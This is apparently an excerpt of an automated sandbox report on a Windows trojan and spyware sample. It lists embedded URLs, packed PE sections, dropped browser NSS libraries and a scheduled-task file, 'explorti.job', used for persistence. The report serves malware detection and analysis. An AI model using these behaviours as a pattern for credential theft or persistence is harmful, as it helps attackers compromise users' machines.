Source: ukuWaeRgPR.exe, random[1].exe.13.dr, a3b2c9311b.exe.13.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: ukuWaeRgPR.exe, 00000000.00000002.2210120301.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GCGDGHCB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: GCGDGHCB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCGDGHCB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCGDGHCB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002056000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GCGDGHCB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000D26000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: ukuWaeRgPR.exe, 00000000.00000003.2107422845.000000002F9FC000.00000004.00000020.00020000.00000000.sdmp, AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ukuWaeRgPR.exe, 00000000.00000003.2107422845.000000002F9FC000.00000004.00000020.00020000.00000000.sdmp, AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: ukuWaeRgPR.exe, 00000000.00000003.2107422845.000000002F9FC000.00000004.00000020.00020000.00000000.sdmp, AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000DCA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .idata
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: ukuWaeRgPR.exe	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:
Source: a3b2c9311b.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C37B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C37B700
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C37B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C37B8C0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C37B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C37B910
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C31F280

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3135A0	0_2_6C3135A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C38542B	0_2_6C38542B
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C355C10	0_2_6C355C10
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C362C10	0_2_6C362C10
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C38AC00	0_2_6C38AC00
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C38545C	0_2_6C38545C
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C325440	0_2_6C325440
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3734A0	0_2_6C3734A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C37C4A0	0_2_6C37C4A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C326C80	0_2_6C326C80
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C356CF0	0_2_6C356CF0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31D4E0	0_2_6C31D4E0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C33D4D0	0_2_6C33D4D0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3264C0	0_2_6C3264C0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C33ED10	0_2_6C33ED10
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C340512	0_2_6C340512
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C32FD00	0_2_6C32FD00
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3785F0	0_2_6C3785F0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C350DD0	0_2_6C350DD0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C379E30	0_2_6C379E30
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C357E10	0_2_6C357E10
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C365600	0_2_6C365600
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31C670	0_2_6C31C670
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C386E63	0_2_6C386E63
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C339E50	0_2_6C339E50
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C353E50	0_2_6C353E50
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C334640	0_2_6C334640
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C362E4E	0_2_6C362E4E
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C374EA0	0_2_6C374EA0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C335E90	0_2_6C335E90
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C37E680	0_2_6C37E680
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31BEF0	0_2_6C31BEF0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C32FEF0	0_2_6C32FEF0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3876E3	0_2_6C3876E3
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C357710	0_2_6C357710
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C329F00	0_2_6C329F00
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3677A0	0_2_6C3677A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C346FF0	0_2_6C346FF0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31DFE0	0_2_6C31DFE0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C35B820	0_2_6C35B820
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C364820	0_2_6C364820
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C327810	0_2_6C327810
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C35F070	0_2_6C35F070
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C338850	0_2_6C338850
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C33D850	0_2_6C33D850
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3460A0	0_2_6C3460A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C33C0E0	0_2_6C33C0E0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3558E0	0_2_6C3558E0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3850C7	0_2_6C3850C7
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C36B970	0_2_6C36B970
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C38B170	0_2_6C38B170
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C32D960	0_2_6C32D960
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C33A940	0_2_6C33A940
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C34D9B0	0_2_6C34D9B0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31C9A0	0_2_6C31C9A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C355190	0_2_6C355190
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C372990	0_2_6C372990
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C359A60	0_2_6C359A60
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C32CAB0	0_2_6C32CAB0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C382AB0	0_2_6C382AB0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3122A0	0_2_6C3122A0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C344AA0	0_2_6C344AA0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C38BA90	0_2_6C38BA90
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C331AF0	0_2_6C331AF0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C35E2F0	0_2_6C35E2F0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C358AC0	0_2_6C358AC0
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C35D320	0_2_6C35D320
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C32C370	0_2_6C32C370
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C315340	0_2_6C315340
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C31F380	0_2_6C31F380
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: 0_2_6C3853C8	0_2_6C3853C8
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004AE410	13_2_004AE410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E3048	13_2_004E3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004A4CD0	13_2_004A4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004D7D63	13_2_004D7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E763B	13_2_004E763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004A4AD0	13_2_004A4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E6EE9	13_2_004E6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E775B	13_2_004E775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E8700	13_2_004E8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_004E2BB0	13_2_004E2BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE0000	14_2_7EAE0000
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Code function: 14_2_7EAE097C	14_2_7EAE097C

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: String function: 6C34CBE8 appears 134 times
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Code function: String function: 6C3594D0 appears 90 times

Source: ukuWaeRgPR.exe, 00000000.00000002.2212483883.000000006C595000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs ukuWaeRgPR.exe
Source: ukuWaeRgPR.exe, 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs ukuWaeRgPR.exe

Source: ukuWaeRgPR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ukuWaeRgPR.exe	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: ukuWaeRgPR.exe	Static PE information: Section: ZLIB complexity 0.99365234375
Source: ukuWaeRgPR.exe	Static PE information: Section: ZLIB complexity 0.989501953125
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9976413080601093
Source: amadka[1].exe.0.dr	Static PE information: Section: avjczlwa ZLIB complexity 0.994752918753683
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9976413080601093
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: avjczlwa ZLIB complexity 0.994752918753683
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9976413080601093
Source: explorti.exe.6.dr	Static PE information: Section: avjczlwa ZLIB complexity 0.994752918753683
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.99365234375
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.989501953125
Source: a3b2c9311b.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9995236280487805
Source: a3b2c9311b.exe.13.dr	Static PE information: Section: ZLIB complexity 0.99365234375
Source: a3b2c9311b.exe.13.dr	Static PE information: Section: ZLIB complexity 0.989501953125

Source: explorti.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: EHDHDHIECG.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: amadka[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/30@0/3

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C377030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C377030

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2892:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

File created: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: ukuWaeRgPR.exe, 00000000.00000002.2209957135.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, ukuWaeRgPR.exe, 00000000.00000002.2188735345.000000001D724000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
